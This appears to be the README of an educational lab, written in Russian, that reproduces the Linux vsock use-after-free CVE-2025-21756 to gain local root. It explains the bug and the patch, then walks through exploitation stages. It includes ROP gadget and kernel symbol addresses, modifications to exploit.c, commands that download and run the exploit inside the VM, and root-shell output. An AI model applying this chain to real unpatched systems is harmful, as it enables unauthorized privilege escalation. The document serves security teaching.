
Образовательная лаборатория, демонстрирующая эксплуатацию use-after-free (UAF) в подсистеме vsock ядра Linux для локального повышения привилегий до root, с автоматической настройкой и анализом ROP-цепочек.
Только для образовательных целей и авторизованных исследований безопасности.
CVE-2025-21756 — это use-after-free (UAF) уязвимость в подсистеме vsock (Virtual Socket) ядра Linux, раскрытая 26 февраля 2025 года. Она позволяет локальному атакующему повысить привилегии до root на уязвимых системах Linux.
net/vmw_vsock/af_vsock.cОшибка возникает во время переназначения транспорта сокета vsock. Уязвимая последовательность:
vsock_create() создает сокет с refcnt=2 и вставляет его в список несвязанных сокетовtransport->release() вызывает vsock_remove_bound() без проверки, был ли сокет перемещен в список связанных, что некорректно уменьшает refcntvsock_bind() предполагает, что сокет все еще в списке несвязанных, и снова вызывает _vsock_remove_bound()refcnt преждевременно достигает 0 → объект vsock освобождается, пока на него еще есть ссылки → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect() с CID, которые приводят к разным транспортам, вызывают преждевременное освобождение объекта vsock, пока он все еще связан в vsock_bind_tableunix_dgram_sendmsg с сообщениями порядка 2 (MIGRATE_UNMOVABLE), заполняя ее контролируемыми даннымиvsock_diag_dump (не защищенный AppArmor) используется как побочный канал для обнаружения момента перехвата страницы и определения точного смещения объекта жертвы внутри страницыsk->sk_prot перезаписывается для указания на udp_prot+0x1c0 (udp_abort), который при вызове активирует sk->sk_error_report(sk), чей указатель перезаписан гаджетом смещения стекаcommit_creds(init_cred) для присвоения процессу корневых учетных данных, за которым следует трамплин KPTI для возврата в пользовательское пространствоsudo# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# Run as a normal user (not root)
./setup-lab.sh
Скрипт автоматически обрабатывает:
sudo, если он отсутствуетbuild-essential, qemu-system-x86, bc, pahole и т.д.)lts-6.6.75, rootfs, ramdisk)run_lab.sh как единой точки входаcd ~/cve-2025-21756-lab
./run_lab.sh
После загрузки среды выполните внутри нее:
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
Для выхода: Ctrl-A X
Базовый эксплойт взят из ktranowl. Были применены следующие модификации для его работы в этой среде:
Модификация: nokaslr добавлен в параметры загрузки ядра.
Причина: Оригинальный эксплойт обходит KASLR с помощью EntryBleed — метода побочного канала по времени TLB, требующего точного времени CPU. В среде вложенной виртуализации точность rdtsc недостаточна для надежной работы EntryBleed, что приводит к неправильному kbase, из-за чего все адреса, вычисленные с помощью ADDRESS(), оказываются неверными. Отключение KASLR гарантирует, что ядро всегда загружается по адресу 0xffffffff81000000, и жестко заданные смещения в эксплойте всегда корректны.
user_rip changed from modeprobe_exec to check_rootМодификация в exploit.c:
// Before
uint64_t user_rip = (uint64_t)modeprobe_exec;
// After
uint64_t user_rip = (uint64_t)check_root;
Причина: modeprobe_exec — это метод повышения привилегий, использованный в оригинальном эксплойте для удаленной среды kCTF. Он требует аргументов командной строки (IP и порт удаленного сервера) и внешнего сетевого подключения. Без этих аргументов процесс аварийно завершается с GPF при попытке чтения argv[1]. check_root напрямую проверяет uid и выполняет /bin/sh, что достаточно для демонстрации эксплуатации в локальной среде.
modeprobe_exec call inside check_rootМодификация в exploit.c:
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // removed
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
Причина: Даже при указании user_rip на check_root, эта функция внутренне снова вызывала modeprobe_exec перед выполнением /bin/sh. Без необходимых аргументов этот вызов приводил к GPF, и процесс завершался без открытия оболочки, несмотря на то, что commit_creds уже успешно повысил привилегии.
В процессе настройки лаборатории все символы ядра и гаджеты ROP были проверены на соответствие официальному ядру kCTF lts-6.6.75, чтобы подтвердить их валидность для этой среды.
Три гаджета, использованные в эксплойте, были извлечены из официального ядра с помощью ROPgadget из бинарного файла vmlinux и подтверждены как точно соответствующие жестко заданным значениям:
Ни один из них не потребовал модификации.
Следующие символы были проверены на соответствие /proc/kallsyms внутри ядра (с nokaslr смещения фиксированы):
Все значения совпали с оригинальными в эксплойте. Модификации не потребовались.
address_contain_udp_abortЭто значение не указывает напрямую на функцию udp_abort. Оно указывает на udp_prot + 0x1c0, что является полем diag_destroy внутри struct proto. Это сделано намеренно: vsock_release вызывает sk->sk_prot->close(sk, 0), где close находится по смещению 0 от struct proto. Указывая sk_prot на udp_prot->diag_destroy вместо начала udp_prot, ядро читает diag_destroy так, как будто это указатель close, который содержит . Это приводит к цепочке: → , куда помещен гаджет смещения стека.
vsock_release(sk)
└── sk->sk_prot->close(sk) ← sk_prot points to udp_prot+0x1c0
└── udp_abort(sk) ← diag_destroy field, read as close()
└── sk_error_report(sk)
└── sk->sk_error_report(sk) ← stack pivot gadget
└── ROP chain
└── commit_creds(init_cred)
└── kpti_trampoline → root shell
Официальный патч доступен с ядра 6.14-rc1 и был перенесен на все поддерживаемые ветки LTS. Затронутые дистрибутивы выпустили собственные уведомления:
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование против систем, которые вам не принадлежат или на тестирование которых нет явного письменного разрешения, является незаконным. Автор не несет ответственности за любое неправомерное использование.
execve("/bin/sh") с uid=0| Гаджет | Адрес | Назначение |
|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | Смещение стека — перемещает RSP в начало управляемого объекта vsock |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | Продвижение стека — пропускает зарезервированные поля для достижения цепочки ROP |
pop rdi ; ret | 0xffffffff8115e4f9 | Загружает первый аргумент для commit_creds(init_cred) |
| Символ | Адрес | Примечания |
|---|
vsock_bind_table[0x7a] | 0xffffffff84bc6280 | Якорь побочного канала — слот списка vsock, куда попадает объект жертвы |
init_net | 0xffffffff84bb1f80 | Используется для проверки поддельного объекта vsock через vsock_diag_dump |
commit_creds | 0xffffffff811fdac0 | Назначает корневые учетные данные текущему процессу |
init_cred | 0xffffffff83c74d80 | Структура учетных данных с uid=gid=0, с фиксированным смещением от базы ядра |
kpti_trampoline | 0xffffffff826011a6 | swapgs_restore_regs_and_return_to_usermode+0x36 — восстанавливает CR3 и возвращается в пользовательское пространство |
address_contain_udp_abort | 0xffffffff83ef28e0 | udp_prot + 0x1c0 — см. примечание ниже |
udp_abortsk_error_report(sk)sk->sk_error_report(sk)| Аспект | Оригинал (ktranowl) | Эта лаборатория |
|---|
| Обход KASLR | EntryBleed (TLB timing) | Disabled (nokaslr) |
| Метод повышения привилегий | modeprobe_exec via core_pattern | execve("/bin/sh") directly |
| Целевая среда | Remote kCTF | Local |
| Требуется внешнее сетевое подключение | Yes | No |
| Ресурс | URL |
|---|
| Оригинальная статья (Hoefler) | https://hoefler.dev/articles/vsock.html |
| Эксплойт Hoefler | https://github.com/hoefler02/CVE-2025-21756 |
| n-day анализ (ktranowl) | https://hackmd.io/@ktranowl/H1XRm4zBxl |
| Эксплойт ktranowl | https://github.com/khoatran107/cve-2025-21756 |
| Официальный патч | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-21756 |
| Правила kCTF | https://google.github.io/security-research/kernelctf/rules.html |